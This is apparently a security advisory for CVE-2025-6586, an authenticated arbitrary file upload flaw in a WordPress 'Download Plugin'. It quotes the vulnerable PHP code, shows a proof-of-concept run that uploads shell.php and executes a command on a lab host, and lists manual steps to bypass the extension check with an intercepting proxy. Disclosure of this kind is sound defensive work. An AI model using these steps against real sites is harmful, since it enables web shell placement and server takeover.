Download Plugin <= 2.2.8 - Authenticated (Admin+) Arbitrary File Upload via the dpwap_plugin_locInstall Function
CVE-2025-6586
The Download Plugin does not sanitize the file types of the dpwap_plugin_locInstall
function
exposed via the mul_upload
admin page, allowing administrators or above to upload arbitrary files and
potentially gain code execution on the server.
TL;DR Exploits
A POC cve-2025-6586.py is provided to demonstrate an administrator uploading a web shell named shell.php
.
python3 cve-2025-6586.py https://lab1.hacker admin PASSWORD
Logging into: https://lab1.hacker/wp-admin
Extracting nonce values...
Uploading web shell: shell.php
Web Shell Location: https://lab1.hacker/wp-
content/uploads/dpwap_logs/files/tmp/shell.php
Executing test command: ip addr
<pre>1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN
group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
group default qlen 1000
link/ether 08:00:27:5b:34:2f brd ff:ff:ff:ff:ff:ff
altname enp0s3
inet 10.0.2.15/24 metric 100 brd 10.0.2.255 scope global dynamic eth0
v alid_lft 75221sec preferred_lft 75221sec
inet6 fd17:625c:f037:2:a00:27ff:fe5b:342f/64 scope global dynamic
mngtmpaddr noprefixroute
valid_lft 86354sec preferred_lft 14354sec
inet6 fe80::a00:27ff:fe5b:342f/64 scope link
valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
group default qlen 1000
link/ether 08:00:27:39:ea:eb brd ff:ff:ff:ff:ff:ff
altname enp0s8
inet 192.168.56.56/24 brd 192.168.56.255 scope global eth1
valid_lft forever preferred_lft forever
inet6 fe80::a00:27ff:fe39:eaeb/64 scope link
valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue
state DOWN group default
link/ether 02:42:77:47:94:a5 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
</pre>
Details
The dpwap_plugin_multiple_upload_func
function is exposed in the mul_upload
admin page. On line 80 of /wp-content/plugins/download-plugin/app/Plugins/Base.php
the function includes multiple_upload_plugin.php.
// multiple upload function
public function dpwap_plugin_multiple_upload_func()
{
$dpwapObj = new Dpwapuploader();
$plugin_multiple_upload_file = DPWAP_DIR . DS . 'app' . DS .
'Plugins' . DS . 'templates' . DS . 'multiple_upload_plugin.php';
include_once $plugin_multiple_upload_file;
}
By default the full path of $plugin_multiple_upload_file should be /wp- content/plugins/download-plugin/app/Plugins/templates/multiple_upload_plugin.php
.
The template will also check for a $_POST['dpwap_locInstall']
and $_FILES['dpwap_locFiles']['name'][0]
. If those are present it will call $dpwapObj->dpwap_plugin_locInstall();
within the code that builds the html form on line 47.
...
...
<div class="inside">
<?php
if (isset($_POST['dpwap_locInstall']) && $_FILES['dpwap_locFiles']['name'][0] != ""){
echo '<form id="form_alldpwap" name="form_alldpwap" method="post" action="admin.php?page=activate-status">';
echo "<div class='dpwap_main'>";
$dpwapObj->dpwap_plugin_locInstall();
echo "</div>";
echo '<input class="button button-primary dpwap_allactive"
type="submit" name="dpwap_locInstall" onclick="activateAllPLugins()"
value="'. esc_attr__('Activate all', 'download-plugin').'">';
echo '</form>';
}
?>
</div>
...
...
As seen below, the dpwap_plugin_locInstall
function within /wp-content/plugins/download-plugin/app/Plugins/Dpwapuploader.php
on line 300 will move the uploaded files to a web accessible directory, keeping the original file name and extension. Ex: https://TARGETSITEDOMAIN/wp-content/uploads/dpwap_logs/files/tmp/shell.php
public function dpwap_plugin_locInstall(){
// Increase the resources
@ini_set( 'memory_limit', '1024M' );
@ini_set( 'upload_max_filesize', '640M' );
@ini_set( 'post_max_size', '640M' );
check_admin_referer( $this->key );
echo '<div class="dpwap_h3">'.esc_html__( 'Installing Plugins',
'download-plugin' ) .':</div>';
for ( $i = 0; $i < count( $_FILES['dpwap_locFiles']['name'] ); $i++
) {
$dpwap_locFilenm = sanitize_file_name($_FILES['dpwap_locFiles']
['name'][$i]);
if ( strpos( $dpwap_locFilenm, 'mpipluginsbackup' ) === false )
{
//Get the temp file path
$tmpFilePath = $_FILES['dpwap_locFiles']['tmp_name'][$i];
//Make sure we have a filepath
if ( $tmpFilePath != "" ) {
//Setup our new file path
$newFilePath =
DPWAPUPLOADDIR_PATH.'/dpwap_logs/files/tmp/' . $dpwap_locFilenm;
//Upload the file into the temp dir
if( @move_uploaded_file( $tmpFilePath, $newFilePath ) )
{
$dpwap_tempurls[] =
DPWAPUPLOADDIR_PATH.'/dpwap_logs/files/tmp/'.$dpwap_locFilenm;
}
}
}
else{
echo esc_html__('This is', 'download-plugin') .'
<b>'.esc_html($dpwap_locFilenm).'</b> '.esc_html__( 'not a valid zip
archive.', 'download-plugin' );
}
}
if( $dpwap_tempurls )
$this->dpwap_get_packages( $dpwap_tempurls, "activate", "nocreate",
"upload_locFiles" );
}
Manual Reproduction
- Login to the admin panel and navigate to
Plugins -> Add Plugin
. - Click the
Upload Multiple Plugins
at the top, this button is added to the UI by the Download Plugin. - Now from
/wp-admin/admin.php?page=mul_upload
, start BurpSuite or a similar proxy. - Take a
php
file, and replace its extention withzip
to pass the front end validation, and then clickInstall Now
. - Modify the intercepted request on the fly or in a Repeater tab to change the file extension back to
php
. - Browse to the newly uploaded file to trigger code execution.